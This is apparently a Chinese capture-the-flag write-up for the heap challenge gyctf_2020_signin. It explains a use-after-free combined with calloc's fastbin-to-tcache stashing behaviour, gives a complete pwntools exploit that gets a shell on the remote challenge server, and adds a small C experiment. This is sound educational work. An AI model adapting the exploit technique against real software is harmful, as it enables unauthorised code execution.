• gyctf_2020_signin:ubuntu18.04配合calloc产生的漏洞


    逆一下

    add函数,注意bss段有heaparray之类的东西,然后可以申请九次,然后add的时候无法向chunk写入内容

    delete函数,明显的UAF漏洞

    edit函数,只能用一次

    后门函数,ptr是bss段上的变量

    一开始的思路是劫持got表,因为是ubuntu18并且有UAF,可以直接利用double free来申请到atoi@got,然后改atoi@got成后门函数即可getshell,但是这样的操作至少需要两次写入的功能,第一次改写free chunk的fd指针,第二次是改写got表项,所以无法完成,就gg了,看了wp,又学到了新姿势。

    后门函数里的那个calloc很诡异,也没有指针来接受返回值,所以是可以被利用的
    calloc分配堆块的时候,不会从tcache bin里取堆块
    这意味着当我们calloc分配堆块时,假如tcache和fastbin都有堆块,那么calloc会从fastbin里去拿。在有tcache bin的情况下,从fastbin/smallbin里去取堆块,管理器就会将剩余的fastbin堆块链入到tcache bin中。
    在文末写个实验来验证一下

    所以我们可以这样利用:
    1,申请8个chunk,然后全部free,这时fastbin 1,tcache 7
    2,然后add一个堆块(malloc),这时fastbin 1,tcache 6
    3,利用有且仅有一次的edit功能编辑fastbin堆块的fd指针为ptr-0x10(使ptr作为一个fake chunk的fd pointer):本质是利用了UAF漏洞(free的堆块依然可以edit)
    4,调用后门函数,calloc会将fastbin里的唯一一个堆块分配出去,然后将fake chunk链入到tcache作为tcache[7],同时将fd设置为tcache[6]的address,这时fd不为空,即ptr不为空,可以调用system getshell

    exp:

    from pwn import *
    import time
    
    '''
    author: lemon
    time: 2020-10-27
    libc: libc-2.23.so
    python version:python2.7
    '''
    
    local = 0
    
    binary = "./gyctf_2020_signin"
    libc_path = '../libc-2.27.so'
    port = "29848"
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(index):
    	p.sendlineafter('your choice?','1')
    	p.sendlineafter('idx?',str(index))
    
    def free(index):
    	p.sendlineafter('your choice?','3')
    	p.sendlineafter('idx?',str(index))
    
    def edit(index,content):
    	p.sendlineafter('your choice?','2')
    	p.sendlineafter('idx?',str(index))
    	sleep(0.3)
    	p.send(content)
    
    dbg()
    
    elf = ELF(binary)
    libc = ELF(libc_path)
    
    atoi_got = elf.got['atoi']
    heaparray = 0x4040E0
    ptr = 0x4040C0
    
    print "============ step 1: add 8 chunks and free 8 chunks ============"
    print "[*]   now tcache is full and fastbin[0x80] has 1 chunk    "
    
    for i in range(8):
    	add(i)
    for i in range(8):
    	free(i)
    
    print "[*]   add 0x80 , because tcache is faster than fastbin, now tcache has 6 chunks now(alloca 1 chunk)"
    add(8) 
    
    print "============ step 2: call backdoor to get shell ============== "
    print "[*]   now fastbin has one chunk,when we alloca fasbtin,then the fastbin chain will go to tcache bin"
    
    edit(7,p64(ptr - 0x10))
    sleep(1)
    p.sendline('6')
    
    # gdb.attach(p)
    p.interactive()
    

    实验来验证一下

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
    	void *p1,*p2,*p3,*p4,*p5,*p6,*p7,*p8;
    	
    	printf("now we alloca 8 chunks , then we will free p1 - p8
    ");
    	printf("then, p1-p7 will go tcache bin
    ");
    	p1 = malloc(0x20);	
    	p2 = malloc(0x20);
    	p3 = malloc(0x20);
    	p4 = malloc(0x20);
    	p5 = malloc(0x20);
    	p6 = malloc(0x20);
    	p7 = malloc(0x20);
    	p8 = malloc(0x20);
    	free(p1);
    	free(p2);
    	free(p3);
    	free(p4);
    	free(p5);
    	free(p6);
    	free(p7);
    	free(p8);
    
          calloc(1,0x20);
    }
    

    查看此时bins的情况

    最后calloc后,可以发现tcache bins依然是满的,说明calloc不会从tcache bin中去取chunk

    参考我之前的博客的tcache bin attack,里面做了好几个实验
    https://l3mon629.github.io/post/vandn2020-gong-kai-sai-easytheap/#tcache

  • 相关阅读:
    JVM调优
    Java堆空间的划分:新生代、老年代
    说一下 jvm 有哪些垃圾回收器?
    JVM的垃圾回收算法有哪些
    订单并发处理--悲观锁和乐观锁、任务队列以及订单模块开发流程
    MySQL数据库的四种事务隔离级别以及事务的并发问题(脏读/不可重复读/幻读)
    Python面试总结复习(四)
    Python面试总结复习(三)
    Django表设计,多表操作复习
    python面试总结复习(二)
  • 原文地址:https://www.cnblogs.com/lemon629/p/13883865.html
Copyright © 2020-2023  润新知